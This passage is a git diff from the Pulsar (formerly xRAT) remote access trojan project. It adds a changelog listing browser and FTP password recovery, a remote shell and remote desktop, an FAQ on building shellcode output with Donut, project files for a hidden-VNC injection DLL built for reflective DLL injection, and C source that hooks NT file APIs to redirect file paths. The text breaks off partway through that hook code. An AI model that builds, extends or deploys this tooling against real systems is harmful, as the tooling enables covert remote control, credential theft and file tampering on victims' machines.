v1.0.0.0 [22.08.2015] +* **xRAT is now Pulsar** +* Added Password Recovery (Common Browsers and FTP Clients) +* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed) + * Client Builder works also on Linux/Mono +* Added ability to upload batch files +* Added Client support for multiple hosts +* Added maximum simultaneous file downloads/uploads (current max: 2) +* Fixed Remote Shell redirecting of standard output not working after redirecting error output +* Fixed Remote Shell not displaying unicode characters correctly +* Fixed Remote Desktop crash when changing screen resolution +* Fixed File Manager would refresh directory when double-clicking files +* Improved support for Windows 8 and above +* Improved Remote Desktop (Speed, Full Mouse and Keyboard support) +* Improved File Manager (Show name of drive, current path, upload files) +* Improved UPnP support +* Improved Geo IP support +* Improved Builder UI +* Switched from Protobuff to NetSerializer +* Lots of under the hood changes for stability and performance diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..29a30ea --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,19 @@ +# Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new pull request (PR) + +## Guidelines for pull requests: + +1. Respect the coding style of Pulsar. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. + +In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/FAQ.md b/FAQ.md new file mode 100644 index 0000000..e6541a3 --- /dev/null +++ b/FAQ.md @@ -0,0 +1,68 @@ +# FAQ + +## Table of Contents + +* [Shellcode Not Working](#shellcode-not-working) + + * [Enabling Shellcode Outputs](#enabling-shellcode-outputs) + * [Alternative Build Process](#alternative-build-process) + +--- + +## Shellcode Not Working + +If shellcode generation or execution isn't producing the expected outputs, it often means the project wasn't built with the shellcode feature enabled. Follow the steps below to ensure your build configuration includes Donut support. + +### Enabling Shellcode Outputs + +1. **Open the solution**: Launch Visual Studio and open `Pulsar.sln`. + + ![Open Project](Images/open_project.png) + +2. **Select build configuration**: + + * Locate the configuration selector on the toolbar (usually reads `Debug` or `Release`). + + ![Select Configuration](Images/select_config.png) + + * Change it to **ReleaseWithDonut**. + + ![Build with Donut Enabled](Images/build_with_donut.png) + +3. **Build the solution**: + + * Go to `Build β†’ Build Solution` or press `Ctrl + Shift + B`. + + ![Build Solution](Images/build_solution.png) + +4. **Verify outputs**: + + * After a successful build, navigate to `bin/Release`. + * Confirm that the shellcode converter files (donut.exe) are present. + +### Alternative Build Process + +If you cannot use Visual Studio or the standard build fails, enable shellcode outputs manually: + +1. **Download Donut**: + + * Visit the [Donut Releases page](https://github.com/TheWover/donut/releases). + * Download the latest `donut.exe` for your operating system. + + ![Download Donut](Images/download_donut.png) + +2. **Extract the binary**: + + * Unzip or extract the downloaded archive to locate `donut.exe`. + +3. **Copy to Pulsar output**: + + * Place `donut.exe` into your Pulsar build directory: `bin/ReleaseWithDonut`. + + ![Move Donut to Bin](Images/move_to_bin.png) + +4. **Verify manual setup**: + + * Check Pulsar if the build shellcode artifact is enabled. + +--- \ No newline at end of file diff --git a/HVNCInjection/HVNCInjection.vcxproj b/HVNCInjection/HVNCInjection.vcxproj new file mode 100644 index 0000000..5dfe7b1 --- /dev/null +++ b/HVNCInjection/HVNCInjection.vcxproj @@ -0,0 +1,286 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC} + HVNCInjection + Win32Proj + + + + DynamicLibrary + v143 + MultiByte + true + + + DynamicLibrary + v143 + MultiByte + true + + + DynamicLibrary + false + v143 + false + Unicode + + + DynamicLibrary + v143 + Unicode + + + DynamicLibrary + v143 + MultiByte + false + + + DynamicLibrary + false + v143 + false + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + $(ProjectDir)src;%(AdditionalLibraryDirectories) + + + if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" + if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + $(ProjectDir)src;%(AdditionalLibraryDirectories) + + + if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" + if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/HVNCInjection/HVNCInjection.vcxproj.filters b/HVNCInjection/HVNCInjection.vcxproj.filters new file mode 100644 index 0000000..335b9fc --- /dev/null +++ b/HVNCInjection/HVNCInjection.vcxproj.filters @@ -0,0 +1,41 @@ +ο»Ώ + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/HVNCInjection/src/.DS_Store b/HVNCInjection/src/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 + + // MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already + // disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated + // and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT, + + // The specified module is not loaded. + MH_ERROR_MODULE_NOT_FOUND, + + // The specified function is not found. + MH_ERROR_FUNCTION_NOT_FOUND +} +MH_STATUS; + +// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, +// MH_QueueEnableHook or MH_QueueDisableHook. +#define MH_ALL_HOOKS NULL + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. You must call this function EXACTLY ONCE + // at the beginning of your program. + MH_STATUS WINAPI MH_Initialize(VOID); + + // Uninitialize the MinHook library. You must call this function EXACTLY + // ONCE at the end of your program. + MH_STATUS WINAPI MH_Uninitialize(VOID); + + // Creates a Hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + // ppTarget [out] A pointer to the target function, which will be used + // with other functions. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); + + // Removes an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); + + // Enables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // enabled in one go. + MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); + + // Disables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // disabled in one go. + MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); + + // Queues to enable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be enabled. + MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); + + // Queues to disable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be disabled. + MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); + + // Applies all queued changes in one go. + MH_STATUS WINAPI MH_ApplyQueued(VOID); + + // Translates the MH_STATUS to its name as a string. + const char* WINAPI MH_StatusToString(MH_STATUS status); + +#ifdef __cplusplus +} +#endif diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c new file mode 100644 index 0000000..c2ae662 --- /dev/null +++ b/HVNCInjection/src/NtApiHooks.c @@ -0,0 +1,868 @@ +//===============================================================================================// +// NT API Hooking Implementation +//===============================================================================================// +#ifdef __cplusplus +extern "C" { +#endif + +#include "NtApiHooks.h" +#include "NtApiHooksConfig.h" +#include "MinHook.h" +#include +#include + +#pragma comment(lib, "libMinHook.x64.lib") +#pragma comment(lib, "ntdll.lib") + + // Global search and replacement strings (filled from parameter) + static WCHAR g_SearchString[512] = { 0 }; + static WCHAR g_ReplacementString[512] = { 0 }; + static BOOL g_HooksInitialized = FALSE; + static HANDLE g_LogFile = INVALID_HANDLE_VALUE; + + // Helper function to log debug info + void LogDebug(const WCHAR* message) { +#if ENABLE_DEBUG_LOGGING + if (g_LogFile != INVALID_HANDLE_VALUE) { + DWORD written; + DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR); + WriteFile(g_LogFile, message, messageLen, &written, NULL); + + const WCHAR newline[] = L"\r\n"; + WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL); + FlushFileBuffers(g_LogFile); + } +#endif + } + + void LogDebugA(const char* message) { +#if ENABLE_DEBUG_LOGGING + if (g_LogFile != INVALID_HANDLE_VALUE) { + DWORD written; + DWORD messageLen = (DWORD)strlen(message); + WriteFile(g_LogFile, message, messageLen, &written, NULL); + + const char newline[] = "\r\n"; + WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL); + FlushFileBuffers(g_LogFile); + } +#endif + } + + // Helper function for case-insensitive wide string comparison + int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) { + for (SIZE_T i = 0; i < count; i++) { + WCHAR c1 = s1[i]; + WCHAR c2 = s2[i]; + + // Convert to uppercase for comparison + if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A'; + if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A'; + + // Also handle backslash vs forward slash + if (c1 == L'/') c1 = L'\\'; + if (c2 == L'/') c2 = L'\\'; + + if (c1 != c2) return (c1 < c2) ? -1 : 1; + } + return 0; + } + + // Helper function to normalize NT paths - skip \??\ prefix if present + const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) { + if (!path || !adjustedLength) return path; + + SIZE_T length = *adjustedLength; + + // Check for \??\ prefix (NT object namespace for DOS devices) + if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') { + *adjustedLength = length - 4; + return path + 4; + } + + // Check for \Device\ or \DEVICE\ prefix + if (length >= 8 && + (wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) { + // Don't adjust - these are device paths, not file paths + return path; + } + + return path; + } + + // NT API typedefs + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING, * PUNICODE_STRING; + + typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + typedef struct _IO_STATUS_BLOCK { + union { + LONG Status; + PVOID Pointer; + }; + ULONG_PTR Information; + } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + + typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation = 10, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileRenameInformationEx = 65, + FileRenameInformationExBypassAccessCheck, + FileMaximumInformation + } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + + // NT API function pointers + typedef LONG NTSTATUS; + + typedef NTSTATUS(NTAPI* pNtCreateFile)( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + + typedef NTSTATUS(NTAPI* pNtOpenFile)( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions + ); + + typedef NTSTATUS(NTAPI* pNtDeleteFile)( + POBJECT_ATTRIBUTES ObjectAttributes + ); + + typedef NTSTATUS(NTAPI* pNtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ); + + typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ); + + typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ); + + typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan + ); + + typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName + ); + + // Original function pointers + pNtCreateFile OriginalNtCreateFile = NULL; + pNtOpenFile OriginalNtOpenFile = NULL; + pNtDeleteFile OriginalNtDeleteFile = NULL; + pNtSetInformationFile OriginalNtSetInformationFile = NULL; + pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL; + pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL; + pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL; + pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL; + + // Helper function to check if path needs redirection + BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) { + if (!path || length == 0) return FALSE; + + SIZE_T searchLen = wcslen(g_SearchString); + if (searchLen == 0 || length < searchLen) return FALSE; + + // Normalize the path (strip \??\ prefix if present) + SIZE_T normalizedLength = length; + const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength); + + if (g_LogFile != INVALID_HANDLE_VALUE) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511; + wcsncpy_s(tempPath, 512, normalizedPath, copyLen); + LogDebug(L"[NeedsRedirection] Checking normalized path: "); + LogDebug(tempPath); + LogDebug(L"[NeedsRedirection] Against search string: "); + LogDebug(g_SearchString); + } + + if (normalizedLength < searchLen) return FALSE; + + // Search for the search string in the normalized path (case-insensitive) + for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { + if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[NeedsRedirection] MATCH FOUND at position "); + WCHAR posStr[32]; + wsprintfW(posStr, L"%zu", i); + LogDebug(posStr); + } + return TRUE; + } + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[NeedsRedirection] NO MATCH"); + } + return FALSE; + } + + // Helper function to replace search string with the replacement string + WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) { + if (!originalPath || originalLength == 0 || !newLength) return NULL; + + SIZE_T searchLen = wcslen(g_SearchString); + SIZE_T replaceLen = wcslen(g_ReplacementString); + + if (searchLen == 0 || originalLength < searchLen) return NULL; + + // Normalize the path + SIZE_T normalizedLength = originalLength; + const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength); + SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix + + if (normalizedLength < searchLen) return NULL; + + // Count occurrences (case-insensitive) in normalized portion + SIZE_T occurrences = 0; + for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { + if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { + occurrences++; + i += searchLen - 1; // Skip past this occurrence + } + } + + if (occurrences == 0) return NULL; + + // Calculate new length (prefix + modified path) + SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen)); + WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR)); + if (!newPath) return NULL; + + // Copy prefix (\??\ or other) if present + SIZE_T destIdx = 0; + for (SIZE_T i = 0; i < prefixLength; i++) { + newPath[destIdx++] = originalPath[i]; + } + + // Perform replacement in normalized portion (case-insensitive) + SIZE_T srcIdx = 0; + + while (srcIdx < normalizedLength) { + if (srcIdx <= normalizedLength - searchLen && + wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) { + // Copy replacement string + for (SIZE_T j = 0; j < replaceLen; j++) { + newPath[destIdx++] = g_ReplacementString[j]; + } + srcIdx += searchLen; + } + else { + newPath[destIdx++] = normalizedPath[srcIdx++]; + } + } + + *newLength = destIdx; + return newPath; + } + + // Hook implementations + NTSTATUS NTAPI HookedNtCreateFile( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + // Only attempt redirection if hooks are properly initialized and we have the original function + if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + // Log all paths for debugging + if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = pathLength < 511 ? pathLength : 511; + wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen); + LogDebug(L""); + LogDebug(L"[NtCreateFile] Original Path: "); + LogDebug(tempPath); + } + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtCreateFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); + + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + else { + LogDebug(L"[NtCreateFile] ReplacePath returned NULL"); + } + } + } + + NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, + AllocationSize, FileAttributes, ShareAccess, CreateDisposition, + CreateOptions, EaBuffer, EaLength); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtOpenFile( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + // Log all paths for debugging + if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = pathLength < 511 ? pathLength : 511; + wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen); + LogDebug(L""); + LogDebug(L"[NtOpenFile] Original Path: "); + LogDebug(tempPath); + } + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtOpenFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); + + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + else { + LogDebug(L"[NtOpenFile] ReplacePath returned NULL"); + } + } + } + + NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; 